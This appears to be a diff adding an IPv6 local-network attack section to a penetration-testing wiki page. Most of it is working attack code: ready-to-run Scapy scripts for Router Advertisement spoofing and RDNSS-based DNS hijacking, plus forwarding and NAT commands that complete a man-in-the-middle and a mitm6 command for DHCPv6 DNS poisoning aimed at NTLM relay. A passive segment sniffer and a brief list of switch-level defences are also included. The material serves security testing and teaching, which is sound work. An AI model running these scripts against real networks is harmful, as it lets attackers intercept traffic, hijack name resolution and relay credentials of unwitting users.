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Add content from: Legless: IPv6 Penetration Testing
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@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
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After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
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## IPv6 Local Network Attack Techniques
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The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
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### System Tuning for a Stable Lab
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Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
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```bash
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# Enable promiscuous mode to capture all frames
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sudo ip link set dev eth0 promisc on
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# Ignore rogue Router Advertisements & Redirects coming from the segment
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sudo sysctl -w net.ipv6.conf.all.accept_ra=0
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sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
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# Increase fd / backlog limits when generating lots of traffic
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sudo sysctl -w fs.file-max=100000
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sudo sysctl -w net.core.somaxconn=65535
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sudo sysctl -w net.ipv4.tcp_tw_reuse=1
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```
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### Passive NDP & DHCPv6 Sniffing
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Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
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```python
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#!/usr/bin/env python3
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from scapy.all import *
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from scapy.layers.dhcp6 import *
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from datetime import datetime
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from colorama import Fore, Style, init
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import argparse
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init(autoreset=True)
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# Human-readable names for protocols we care about
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DHCP6_TYPES = {
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DHCP6_Solicit: 'Solicit',
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DHCP6_Advertise: 'Advertise',
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DHCP6_Request: 'Request',
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DHCP6_Reply: 'Reply',
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DHCP6_Renew: 'Renew',
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DHCP6_Rebind: 'Rebind',
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DHCP6_RelayForward:'Relay-Forward',
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DHCP6_RelayReply: 'Relay-Reply'
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}
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ICMP6_TYPES = {
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ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
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ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
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ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
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ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
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ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
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ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
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ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
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ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
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ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
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ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
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}
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def handler(pkt):
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eth_src = pkt[Ether].src if Ether in pkt else '?'
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eth_dst = pkt[Ether].dst if Ether in pkt else '?'
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ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
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ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
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# Identify protocol family first
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for proto,(desc,color) in ICMP6_TYPES.items():
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if proto in pkt:
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break
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else:
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if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
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for dhcp_t,name in DHCP6_TYPES.items():
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if dhcp_t in pkt:
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desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
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else:
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return # not a DHCPv6 message we track
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else:
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return # not interesting
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print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
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print(f" MAC {eth_src} -> {eth_dst}")
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print(f" IPv6 {ip6_src} -> {ip6_dst}")
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print('-'*60)
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if __name__ == '__main__':
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argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
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argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
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argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
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a = argp.parse_args()
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sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
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```
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Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
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### Router Advertisement (RA) Spoofing
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IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
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```python
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#!/usr/bin/env python3
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from scapy.all import *
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import argparse
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p = argparse.ArgumentParser()
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p.add_argument('-i','--interface',required=True)
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p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
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p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
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p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
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p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
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p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
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args = p.parse_args()
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lifetime = 0 if args.revert else args.lifetime
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ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
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ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
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ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
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send(ra,iface=args.interface,loop=1,inter=args.interval)
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```
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To actually **forward traffic** after winning the race:
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```bash
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sudo sysctl -w net.ipv6.conf.all.forwarding=1
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sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
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sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
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```
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### RDNSS (DNS) Spoofing via RA
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[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
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```python
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#!/usr/bin/env python3
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from scapy.all import *
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import argparse
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p = argparse.ArgumentParser()
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p.add_argument('-i','--interface',required=True)
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p.add_argument('--llip',required=True)
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p.add_argument('--dns',required=True,help='Fake DNS IPv6')
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p.add_argument('--lifetime',type=int,default=600)
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p.add_argument('--interval',type=int,default=5)
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args = p.parse_args()
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ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
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ICMPv6ND_RA(routerlifetime=0)/
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ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
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send(ra,iface=args.interface,loop=1,inter=args.interval)
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```
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Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
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### DHCPv6 DNS Spoofing (mitm6)
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Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
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* NTLM relay attacks (WPAD + DNS hijacking)
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* Intercepting internal name resolution without touching routers
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Typical usage:
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```bash
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sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
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```
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### Defences
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* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches.
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* Port ACLs that allow only the legitimate router’s MAC to send RAs.
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* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**.
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* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
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## References
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- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
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- [mitm6](https://github.com/rofl0r/mitm6)
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- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
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- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
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- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
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{{#include ../../banners/hacktricks-training.md}}
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